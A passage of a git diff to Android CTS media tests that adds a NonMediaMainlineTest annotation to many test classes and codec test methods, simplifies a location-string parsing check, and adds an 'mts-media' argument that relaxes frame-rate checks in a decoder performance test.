+        }
+
         // Get the position of the -/+ sign in location String, which indicates
         // the beginning of the longtitude.
         int index = location.lastIndexOf('-');
@@ -521,12 +527,8 @@
         }
         assertTrue("+ or - is not found", index != -1);
         assertTrue("+ or - is only found at the beginning", index != 0);
-        float latitude = Float.parseFloat(location.substring(0, index - 1));
-        int lastIndex = location.lastIndexOf('/', index);
-        if (lastIndex == -1) {
-            lastIndex = location.length();
-        }
-        float longitude = Float.parseFloat(location.substring(index, lastIndex - 1));
+        float latitude = Float.parseFloat(location.substring(0, index));
+        float longitude = Float.parseFloat(location.substring(index));
         assertTrue("Incorrect latitude: " + latitude, Math.abs(latitude - LATITUDE) <= TOLERANCE);
         assertTrue("Incorrect longitude: " + longitude, Math.abs(longitude - LONGITUDE) <= TOLERANCE);
         retriever.release();
diff --git a/tests/tests/media/src/android/media/cts/MediaRouterTest.java b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
index f05fcd7..3d51d57 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouterTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
@@ -39,6 +39,7 @@
 /**
  * Test {@link android.media.MediaRouter}.
  */
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaRouterTest extends InstrumentationTestCase {
 
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java b/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
index 8ca7df7..6745fa4 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
@@ -30,6 +30,7 @@
 
 import java.io.File;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaScannerConnectionTest extends AndroidTestCase {
 
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java b/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java
index 3eb1ab4..77f3d58 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java
@@ -26,6 +26,7 @@
 import java.io.FileOutputStream;
 import java.io.IOException;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaScannerNotificationTest extends AndroidTestCase {
 
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 1bd909d..4f27289 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -52,6 +52,7 @@
 import java.io.InputStreamReader;
 import java.nio.charset.StandardCharsets;
 
+@NonMediaMainlineTest
 @SmallTest
 @RequiresDevice
 @AppModeFull(reason = "TODO: evaluate and port to instant")
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index 23ae366..39f5471 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -51,6 +51,7 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaSessionTest extends AndroidTestCase {
     // The maximum time to wait for an operation that is expected to succeed.
diff --git a/tests/tests/media/src/android/media/cts/MediaSyncTest.java b/tests/tests/media/src/android/media/cts/MediaSyncTest.java
index f5686b1..fae846e 100644
--- a/tests/tests/media/src/android/media/cts/MediaSyncTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSyncTest.java
@@ -56,6 +56,7 @@
  * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
  * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
  */
+@NonMediaMainlineTest
 @SmallTest
 @RequiresDevice
 @AppModeFull(reason = "TODO: evaluate and port to instant")
diff --git a/tests/tests/media/src/android/media/cts/MediaTimestampTest.java b/tests/tests/media/src/android/media/cts/MediaTimestampTest.java
index de91124..78fd1375 100644
--- a/tests/tests/media/src/android/media/cts/MediaTimestampTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaTimestampTest.java
@@ -22,6 +22,7 @@
 /**
  * Tests for MediaTimestamp.
  */
+@NonMediaMainlineTest
 public class MediaTimestampTest extends AndroidTestCase {
     public void testMediaTimestamp() {
         MediaTimestamp timestamp = new MediaTimestamp(1000, 2000, 2.0f);
diff --git a/tests/tests/media/src/android/media/cts/NonMediaMainlineTest.java b/tests/tests/media/src/android/media/cts/NonMediaMainlineTest.java
new file mode 100644
index 0000000..44ee14f
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/NonMediaMainlineTest.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Annotation for tests that are not related to media mainline.
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ElementType.METHOD, ElementType.TYPE})
+public @interface NonMediaMainlineTest {
+}
diff --git a/tests/tests/media/src/android/media/cts/PresentationSyncTest.java b/tests/tests/media/src/android/media/cts/PresentationSyncTest.java
index 23b7173..b9a7d27 100644
--- a/tests/tests/media/src/android/media/cts/PresentationSyncTest.java
+++ b/tests/tests/media/src/android/media/cts/PresentationSyncTest.java
@@ -35,6 +35,7 @@
  * SurfaceFlinger allows a "desired presentation time" value to be passed along with buffers of
  * data.  This exercises that feature.
  */
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class PresentationSyncTest extends ActivityInstrumentationTestCase2<MediaStubActivity>
         implements SurfaceHolder.Callback {
diff --git a/tests/tests/media/src/android/media/cts/PresetReverbTest.java b/tests/tests/media/src/android/media/cts/PresetReverbTest.java
index 9848015..c7cc37e 100644
--- a/tests/tests/media/src/android/media/cts/PresetReverbTest.java
+++ b/tests/tests/media/src/android/media/cts/PresetReverbTest.java
@@ -25,6 +25,7 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class PresetReverbTest extends PostProcTestBase {
 
@@ -395,4 +396,4 @@
             mReverb2 = null;
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/RemoteControllerTest.java b/tests/tests/media/src/android/media/cts/RemoteControllerTest.java
index 802086a..a7d9f72 100644
--- a/tests/tests/media/src/android/media/cts/RemoteControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/RemoteControllerTest.java
@@ -37,6 +37,7 @@
 /**
  * Tests for {@link RemoteController}.
  */
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class RemoteControllerTest extends InstrumentationTestCase {
 
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index ede1711..e215ee6 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -48,6 +48,7 @@
 /**
  * Tests of MediaPlayer streaming capabilities.
  */
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class StreamingMediaPlayerTest extends MediaPlayerTestBase {
 
diff --git a/tests/tests/media/src/android/media/cts/SubtitleDataTest.java b/tests/tests/media/src/android/media/cts/SubtitleDataTest.java
index 7080436..9cd4144 100644
--- a/tests/tests/media/src/android/media/cts/SubtitleDataTest.java
+++ b/tests/tests/media/src/android/media/cts/SubtitleDataTest.java
@@ -24,6 +24,7 @@
 /**
  * Tests for SubtitleData.
  */
+@NonMediaMainlineTest
 public class SubtitleDataTest extends AndroidTestCase {
     private static final String SUBTITLE_RAW_DATA = "RAW_DATA";
 
diff --git a/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java b/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java
index a5309995..1e4d035 100644
--- a/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java
+++ b/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java
@@ -24,6 +24,7 @@
 /**
  * Tests for TimedMetaData.
  */
+@NonMediaMainlineTest
 public class TimedMetaDataTest extends AndroidTestCase {
     private static final String RAW_METADATA = "RAW_METADATA";
 
diff --git a/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java b/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java
index 91ff2f8..4305d84 100644
--- a/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java
+++ b/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java
@@ -21,6 +21,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class ToneGeneratorTest extends AndroidTestCase {
 
diff --git a/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java b/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
index 867e02f..f006990 100644
--- a/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
+++ b/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
@@ -26,10 +26,13 @@
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.os.Build;
+import android.os.Bundle;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.util.Pair;
+import android.text.TextUtils;
 import android.view.Surface;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.MediaPerfUtils;
@@ -74,11 +77,14 @@
     private int mBitrate;
 
     private Resources mResources;
+    private boolean mSkipRateChecking = false;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
         mResources = mContext.getResources();
+        Bundle bundle = InstrumentationRegistry.getArguments();
+        mSkipRateChecking = TextUtils.equals("true", bundle.getString("mts-media"));
     }
 
     @Override
@@ -141,7 +147,7 @@
 
         String error =
             MediaPerfUtils.verifyAchievableFrameRates(name, mime, width, height, measuredFps);
-        if (frankenDevice() && error != null) {
+        if ((frankenDevice() || mSkipRateChecking) && error != null) {
             // ensure there is data, but don't insist that it is correct
             assertFalse(error, error.startsWith("Failed to get "));
         } else {
diff --git a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
index c7018a2..4196686 100644
--- a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
+++ b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
@@ -1223,17 +1223,29 @@
     public void testGoogVP9FlexMinMin()    { minmin(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfMinMin()    { minmin(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexMinMin()  { minmin(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfMinMin()  { minmin(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexMinMin()  { minmin(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfMinMin()  { minmin(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexMinMin()  { minmin(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfMinMin()  { minmin(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexMinMin() { minmin(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfMinMin() { minmin(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexMinMin()   { minmin(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfMinMin()   { minmin(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexMinMin()   { minmin(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfMinMin()   { minmin(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexMinMax()   { minmax(googH265(),   true /* flex */); }
@@ -1249,17 +1261,29 @@
     public void testGoogVP9FlexMinMax()    { minmax(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfMinMax()    { minmax(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexMinMax()  { minmax(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfMinMax()  { minmax(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexMinMax()  { minmax(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfMinMax()  { minmax(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexMinMax()  { minmax(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfMinMax()  { minmax(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexMinMax() { minmax(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfMinMax() { minmax(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexMinMax()   { minmax(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfMinMax()   { minmax(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexMinMax()   { minmax(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfMinMax()   { minmax(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexMaxMin()   { maxmin(googH265(),   true /* flex */); }
@@ -1275,17 +1299,29 @@
     public void testGoogVP9FlexMaxMin()    { maxmin(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfMaxMin()    { maxmin(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexMaxMin()  { maxmin(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfMaxMin()  { maxmin(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexMaxMin()  { maxmin(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfMaxMin()  { maxmin(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexMaxMin()  { maxmin(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfMaxMin()  { maxmin(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexMaxMin() { maxmin(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfMaxMin() { maxmin(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexMaxMin()   { maxmin(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfMaxMin()   { maxmin(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexMaxMin()   { maxmin(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfMaxMin()   { maxmin(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexMaxMax()   { maxmax(googH265(),   true /* flex */); }
@@ -1301,17 +1337,29 @@
     public void testGoogVP9FlexMaxMax()    { maxmax(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfMaxMax()    { maxmax(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexMaxMax()  { maxmax(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfMaxMax()  { maxmax(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexMaxMax()  { maxmax(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfMaxMax()  { maxmax(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexMaxMax()  { maxmax(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfMaxMax()  { maxmax(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexMaxMax() { maxmax(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfMaxMax() { maxmax(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexMaxMax()   { maxmax(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfMaxMax()   { maxmax(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexMaxMax()   { maxmax(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfMaxMax()   { maxmax(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexNearMinMin()   { nearminmin(googH265(),   true /* flex */); }
@@ -1327,17 +1375,29 @@
     public void testGoogVP9FlexNearMinMin()    { nearminmin(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfNearMinMin()    { nearminmin(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexNearMinMin()  { nearminmin(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfNearMinMin()  { nearminmin(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexNearMinMin()  { nearminmin(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfNearMinMin()  { nearminmin(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexNearMinMin()  { nearminmin(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfNearMinMin()  { nearminmin(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexNearMinMin() { nearminmin(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfNearMinMin() { nearminmin(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexNearMinMin()   { nearminmin(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfNearMinMin()   { nearminmin(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexNearMinMin()   { nearminmin(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfNearMinMin()   { nearminmin(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexNearMinMax()   { nearminmax(googH265(),   true /* flex */); }
@@ -1353,17 +1413,29 @@
     public void testGoogVP9FlexNearMinMax()    { nearminmax(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfNearMinMax()    { nearminmax(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexNearMinMax()  { nearminmax(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfNearMinMax()  { nearminmax(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexNearMinMax()  { nearminmax(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfNearMinMax()  { nearminmax(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexNearMinMax()  { nearminmax(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfNearMinMax()  { nearminmax(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexNearMinMax() { nearminmax(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfNearMinMax() { nearminmax(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexNearMinMax()   { nearminmax(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfNearMinMax()   { nearminmax(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexNearMinMax()   { nearminmax(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfNearMinMax()   { nearminmax(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexNearMaxMin()   { nearmaxmin(googH265(),   true /* flex */); }
@@ -1379,17 +1451,29 @@
     public void testGoogVP9FlexNearMaxMin()    { nearmaxmin(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfNearMaxMin()    { nearmaxmin(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexNearMaxMin()  { nearmaxmin(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfNearMaxMin()  { nearmaxmin(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexNearMaxMin()  { nearmaxmin(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfNearMaxMin()  { nearmaxmin(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexNearMaxMin()  { nearmaxmin(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfNearMaxMin()  { nearmaxmin(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexNearMaxMin() { nearmaxmin(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfNearMaxMin() { nearmaxmin(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexNearMaxMin()   { nearmaxmin(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfNearMaxMin()   { nearmaxmin(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexNearMaxMin()   { nearmaxmin(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfNearMaxMin()   { nearmaxmin(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexNearMaxMax()   { nearmaxmax(googH265(),   true /* flex */); }
@@ -1405,17 +1489,29 @@
     public void testGoogVP9FlexNearMaxMax()    { nearmaxmax(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfNearMaxMax()    { nearmaxmax(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexNearMaxMax()  { nearmaxmax(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfNearMaxMax()  { nearmaxmax(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexNearMaxMax()  { nearmaxmax(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfNearMaxMax()  { nearmaxmax(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexNearMaxMax()  { nearmaxmax(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfNearMaxMax()  { nearmaxmax(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexNearMaxMax() { nearmaxmax(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfNearMaxMax() { nearmaxmax(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexNearMaxMax()   { nearmaxmax(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfNearMaxMax()   { nearmaxmax(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexNearMaxMax()   { nearmaxmax(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfNearMaxMax()   { nearmaxmax(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexArbitraryW()   { arbitraryw(googH265(),   true /* flex */); }
@@ -1431,17 +1527,29 @@
     public void testGoogVP9FlexArbitraryW()    { arbitraryw(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfArbitraryW()    { arbitraryw(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexArbitraryW()  { arbitraryw(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfArbitraryW()  { arbitraryw(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexArbitraryW()  { arbitraryw(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfArbitraryW()  { arbitraryw(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexArbitraryW()  { arbitraryw(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfArbitraryW()  { arbitraryw(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexArbitraryW() { arbitraryw(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfArbitraryW() { arbitraryw(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexArbitraryW()   { arbitraryw(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfArbitraryW()   { arbitraryw(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexArbitraryW()   { arbitraryw(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfArbitraryW()   { arbitraryw(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexArbitraryH()   { arbitraryh(googH265(),   true /* flex */); }
@@ -1457,17 +1565,29 @@
     public void testGoogVP9FlexArbitraryH()    { arbitraryh(googVP9(),    true /* flex */); }
     public void testGoogVP9SurfArbitraryH()    { arbitraryh(googVP9(),    false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexArbitraryH()  { arbitraryh(otherH265(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfArbitraryH()  { arbitraryh(otherH265(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264FlexArbitraryH()  { arbitraryh(otherH264(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264SurfArbitraryH()  { arbitraryh(otherH264(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexArbitraryH()  { arbitraryh(otherH263(),  true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfArbitraryH()  { arbitraryh(otherH263(),  false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexArbitraryH() { arbitraryh(otherMpeg4(), true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfArbitraryH() { arbitraryh(otherMpeg4(), false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexArbitraryH()   { arbitraryh(otherVP8(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8SurfArbitraryH()   { arbitraryh(otherVP8(),   false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexArbitraryH()   { arbitraryh(otherVP9(),   true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfArbitraryH()   { arbitraryh(otherVP9(),   false /* flex */); }
 
     public void testGoogH265FlexQCIF()   { specific(googH265(),   176, 144, true /* flex */); }
@@ -1485,19 +1605,31 @@
     public void testGoogVP9FlexQCIF()    { specific(googVP9(),    176, 144, true /* flex */); }
     public void testGoogVP9SurfQCIF()    { specific(googVP9(),    176, 144, false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265FlexQCIF()  { specific(otherH265(),  176, 144, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265SurfQCIF()  { specific(otherH265(),  176, 144, false /* flex */); }
+    @NonMediaMainlineTest
     @SmallTest
     public void testOtherH264FlexQCIF()  { specific(otherH264(),  176, 144, true /* flex */); }
+    @NonMediaMainlineTest
     @SmallTest
     public void testOtherH264SurfQCIF()  { specific(otherH264(),  176, 144, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263FlexQCIF()  { specific(otherH263(),  176, 144, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263SurfQCIF()  { specific(otherH263(),  176, 144, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4FlexQCIF() { specific(otherMpeg4(), 176, 144, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4SurfQCIF() { specific(otherMpeg4(), 176, 144, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8FlexQCIF()   { specific(otherVP8(),   176, 144, true /* flex */); }
+    @NonMediaMainlineTest
